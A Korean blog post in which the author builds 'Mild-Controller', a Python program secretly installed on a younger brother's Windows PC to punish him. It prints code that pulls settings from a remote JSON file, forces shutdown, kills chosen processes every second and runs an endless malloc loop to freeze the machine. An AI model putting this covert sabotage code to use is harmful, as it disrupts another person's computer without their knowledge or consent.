기획의도
저는 평등함과 황금률을 제일 중요하게 여기는 사람입니다.
그래서 동생이 반말을 하든, 욕을 하든, 제가 말을 하는데 안들어도 신경 쓰지 않습니다. 저도 동생한테 그러니까요.
그런데 저는 남동생이 두명이 있는데, 둘째가 막내 동생에게 같이 쓰는 방을 혼자만 쓰려고하고, 컴퓨터를 독점하더군요.
제가 제일 싫어하는 폭력을 쓰고, 윽박을 지르고, 욕을 하면서요.
나쁜놈이 가운데에서 꿀을 빨고있습니다.
그래서 생각했습니다!
내가 니 Mind를 고칠 수는 없지만 mildness(순함)을 갖게는 할 수 있다! 가장 좋아하는걸 빼앗아서!
mild-controller
그래서 바로 설계에 들어갑니다.
구조
방식은, python으로 된 프로그램이 실행시에 웹서버에 요청을 보내와 설정값을 업데이트 합니다.
그리고 시작프로그램으로 등록이 된 컴퓨터가 부팅시에 서버에서 설정된 설정값을 받아와 해 적용하는 방식입니다.
기술 선택 이유
"왜 web server을 쓰죠? 좀비 pc처럼 소켓 통신으로 실시간으로 조지면 하면 안되나요?"
퀄리티 있게 동생을 괴롭히면 저도 좋겠습니다. 사랑하는 동생을 그렇게 잔혹하게 괴롭히고 싶고는 싶지만 개발하기 귀찮습니다.
두시간 개발을 목표로 잡았습니다.
시작합니다!
구현 할 기능
먼저, 구현 할 기능은 다음과 같습니다.
-
web server
- settings for (저장 할 설정 값)
- number value of turning off computer how much seconds after (얼마나 이후에 컴퓨터를 끌지)
- list of ban specific processes to execute (실행을 금지할 프로세스 목록)
- booelan value of using stealth computer killer, infinite looped memory allocation (무한 메모리 할당을 통한 컴퓨터 킬러 사용 여부)
- settings for (저장 할 설정 값)
-
client
- register to startup boot (시작 프로그램 등록)
- hide executing program - remove cmd screen (실행중인 창 숨기기)
- request server and update settings file on execute (실행시에 서버에 요청 및 설정파일 업데이트)
- turn computer off after setted seconds (특정 시간 이후 컴퓨터 종료)
- ban specific processes to execute (특정 프로세스 실행 금지)
- c binding infinite loop malloc code (c언어 바인딩을 통한 무한 동적할당)
이정도 구현 하면 딱 좋을것같습니다. 먼저 web server 부터 구현하도록 하겠습니다.
근데 생각해보니 사실 회원 기능이나 db까지는 필요도 없고, json만 다운로드 받아서 되게 하면 되는 거였더라구요.
웹서버 (였던것..?)
{
"turn_off_after": -1,
"banned_processes": [],
"use_stealth_killer": false
}
이 설정값 대로면 컴퓨터 종료 기능, 프로세스 실행 금지 기능, 컴퓨터 킬러 기능은 사용하지 않게 됩니다. 일단은 이렇게 두죠 뭐.
클라이언트 개발하자 클라이언트!
이제 클라이언트를 개발 할 차례입니다.
사실 다 Windows api를 사용하는 내용이 많으니, 메인으로 mac을 사용하는 저로써는 pararrels가 필수 였습니다.
시작 프로그램 등록과 실행중인 창 숨기기는 구글링이 필요 할것 같아,
- request server and update settings file on execute (실행시에 서버에 요청 및 설정파일 업데이트)
- turn computer off after setted seconds (특정 시간 이후 컴퓨터 종료)
- ban specific processes to execute (특정 프로세스 실행 금지)
- c binding infinite loop malloc code (c언어 바인딩을 통한 무한 동적할당)
의 기능만 구현해놓고, 구글을 사용했습니다.
서버 요청의 경우 urllib을 사용해 다운로드 하였고, 오프라인의 경우에는 요청이 실패되어 에러가 뜰것이기에 호출시에 try, except 문을 사용하도록 하였고, 그래서 다음과 같이 만들었습니다.
def download_settings():
SETTINGS_URL = "https://raw.githubusercontent.com/code-yeongyu/Mild-Controller/master/settings.json"
r = urllib.request.urlopen(SETTINGS_URL)
f = open("downloaded_setup.json", "w")
f.write(r.read().decode())
f.close()
설정을 읽는 코드도 만들어줬지요.
def get_settings():
f = open("downloaded_setup.json", "r")
jsonfile = f.read()
return json.loads(jsonfile)
cmd 기본 기능인 종료 예약 기능과 더불어 혹시 몰라 sleep 도 사용 해 줬습니다.
def turn_off_after(seconds):
os.system(f"shutdown -s -t {seconds}")
sleep(seconds)
# to prevent canceling shutdown
system("shutdown -s -t 0")
그리고 지정한 프로세스들을 매 초 마다 죽이는 코드도 짜뒀지요.
def kill_banned_processes(processes):
while True:
for process in processes:
system(f"taskkill /f /im {process}")
sleep(1)
그리고 조용히 컴퓨터를 버벅거리게 하다 팅겨버리게 할 malloc_killer도 만들어 뒀습니다.
def malloc_killer():
malloc = cdll.msvcrt.malloc
malloc.argtypes = [c_int]
while True:
malloc(1024)
그리고 위 함수들을 멀티 프로세싱을 통해 실행하도록 하여 위의 함수들이 동시에 작동 할 수 있도록 했습니다.
이제 시작 프로그램 등록의 차례입니다만, 하다보니 잘 안될거같아 일단은 나중에 하는걸로 했습니다.
어차피 이 스크립트를 다운로드 하고 실행시키는것도 동생이 컴퓨터를 사용하지 않는 타이밍에 해야합니다. 그냥 그때 잽싸르게 등록하는걸로 합니다.
콘솔창을 가리는건 py 확장자를 pyw로 바꿨더니 작동했습니다만, 문제가 생겼습니다.
os.system() 함수를 통해 모든 작업을 수행하는 바람에, 이 명령어가 실행될 때마다 cmd창이 켜집니다.
subprocess모듈을 사용해서 이 문제를 해결하려 했습니다.
def execute(string):
subprocess.call(string.split(" "))
이런 함수를 만들어서요. 그런데 여전히 문제는 해결 되지 않아 이 역시 나중에 고치는걸로 했습니다. 어차피 컴퓨터 꺼서 못하게 하는게 핵심 기능이라서요.
2시간이 다 되었습니다. 이제 프로젝트를 마무리 해야겠군요. 소스코드는 여기에서 찾아 보실 수 있습니다.
'Computer Science' 카테고리의 다른 글
프로토콜 버퍼(protocol buffer)란? (0) | 2020.12.14 |
---|---|
SW 마에스트로 11기 후기 (3) | 2020.11.29 |
선린인터넷고등학교 정보보호과 동아리 지원시스템 개발기 (1) | 2020.06.07 |
SW 마에스트로 11기 지원기 (0) | 2020.05.16 |
Go 후기: 너로 정했다! (0) | 2020.03.01 |